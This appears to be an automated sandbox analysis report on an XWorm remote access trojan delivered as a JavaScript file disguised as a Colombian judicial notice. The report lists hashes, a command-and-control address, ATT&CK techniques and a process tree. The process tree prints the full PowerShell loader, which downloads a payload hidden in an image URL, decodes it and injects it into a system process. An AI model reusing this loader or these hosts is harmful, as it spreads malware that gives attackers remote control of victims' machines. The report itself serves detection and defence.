xworm | ff82ba209528783a4321e1281c0db4e06718f6d1985cb8d93536a02b60c8379c

General

Target

CENDO RAMA JUDICIAL - Oficio 392 - OFICIO Y DETALLE DE ACTUACIÓN JUDICIAL.js
Size

73KB
MD5

ececcb43f7f2e1f294047fee6512849b
SHA1

ab25ccd9dc155e90b1828ac77b4deacfff2bd98d
SHA256

b03d8e95d48272334f35836a28a163f153eb3b00e97ce0466a3dce8202527f23
SHA512

fb2cd31e8f258fcadef22ff71686e1f8417d157b9bd56f0e2ac0493e92b8d0be5a1435977a7dfbe1dd14ac145ac41e1f73d893515fea823f02a51387a0815f4d
SSDEEP

1536:4l4izQ6VsYX/f53KKxAlFlwWJOKumLcAJ152k6:41zQ6Vj/BKpW

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737543662/new_image_h8btwc.jpg%20

exe.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737543662/new_image_h8btwc.jpg%20

Extracted

Family

xworm

Version

5.0

C2

87.120.116.179:1300

Mutex

D9SUsC7nLI4t2dR8

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1524-19-0x0000000000400000-0x0000000000410000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	2964	powershell.exe
19	2964	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2964	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2964 set thread context of 1524	2964	powershell.exe	90

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2964	powershell.exe
2964	powershell.exe
1524	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2964	powershell.exe
Token: SeDebugPrivilege	1524	aspnet_compiler.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1524	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1856 wrote to memory of 2964	1856	wscript.exe	83
PID 1856 wrote to memory of 2964	1856	wscript.exe	83
PID 2964 wrote to memory of 1524	2964	powershell.exe	90
PID 2964 wrote to memory of 1524	2964	powershell.exe	90
PID 2964 wrote to memory of 1524	2964	powershell.exe	90
PID 2964 wrote to memory of 1524	2964	powershell.exe	90
PID 2964 wrote to memory of 1524	2964	powershell.exe	90
PID 2964 wrote to memory of 1524	2964	powershell.exe	90
PID 2964 wrote to memory of 1524	2964	powershell.exe	90
PID 2964 wrote to memory of 1524	2964	powershell.exe	90

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\CENDO RAMA JUDICIAL - Oficio 392 - OFICIO Y DETALLE DE ACTUACIÓN JUDICIAL.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.sejaiv/selif/971.611.021.78//:p##h';$restoredText = $originalText -replace '#', 't';$upholdster = 'https://res.cloudinary.com/daxwua63y/image/upload/v1737543662/new_image_h8btwc.jpg ';$scink = New-Object System.Net.WebClient;$stipules = $scink.DownloadData($upholdster);$daintith = [System.Text.Encoding]::UTF8.GetString($stipules);$monochromator = '<<BASE64_START>>';$habitationally = '<<BASE64_END>>';$xylosma = $daintith.IndexOf($monochromator);$ketofuranose = $daintith.IndexOf($habitationally);$xylosma -ge 0 -and $ketofuranose -gt $xylosma;$xylosma += $monochromator.Length;$guicowar = $ketofuranose - $xylosma;$hypsometrist = $daintith.Substring($xylosma, $guicowar);$pondhawks = -join ($hypsometrist.ToCharArray() | ForEach-Object { $_ })[-1..-($hypsometrist.Length)];$nominally = [System.Convert]::FromBase64String($pondhawks);$reflectoire = [System.Reflection.Assembly]::Load($nominally);$tooter = [dnlib.IO.Home].GetMethod('VAI');$tooter.Invoke($null, @($restoredText, 'thuya', 'thuya', 'thuya', 'aspnet_compiler', 'thuya', 'thuya','thuya','thuya','thuya','thuya','thuya','1','thuya','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rculk3dl.nms.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1524-19-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/1524-27-0x00000000063B0000-0x0000000006416000-memory.dmp

Filesize
408KB

Download
memory/1524-26-0x0000000005A90000-0x0000000005A9A000-memory.dmp

Filesize
40KB

Download
memory/1524-25-0x00000000060B0000-0x0000000006142000-memory.dmp

Filesize
584KB

Download
memory/1524-24-0x0000000005B00000-0x00000000060A4000-memory.dmp

Filesize
5.6MB

Download
memory/1524-23-0x0000000005070000-0x000000000510C000-memory.dmp

Filesize
624KB

Download
memory/2964-13-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/2964-17-0x0000024DEA4F0000-0x0000024DEA6AA000-memory.dmp

Filesize
1.7MB

Download
memory/2964-18-0x0000024DA8D70000-0x0000024DA8D7C000-memory.dmp

Filesize
48KB

Download
memory/2964-16-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/2964-22-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/2964-15-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/2964-14-0x00007FFBE16B3000-0x00007FFBE16B5000-memory.dmp

Filesize
8KB

Download
memory/2964-1-0x00007FFBE16B3000-0x00007FFBE16B5000-memory.dmp

Filesize
8KB

Download
memory/2964-12-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Filesize
10.8MB

Download
memory/2964-2-0x0000024DC1D60000-0x0000024DC1D82000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads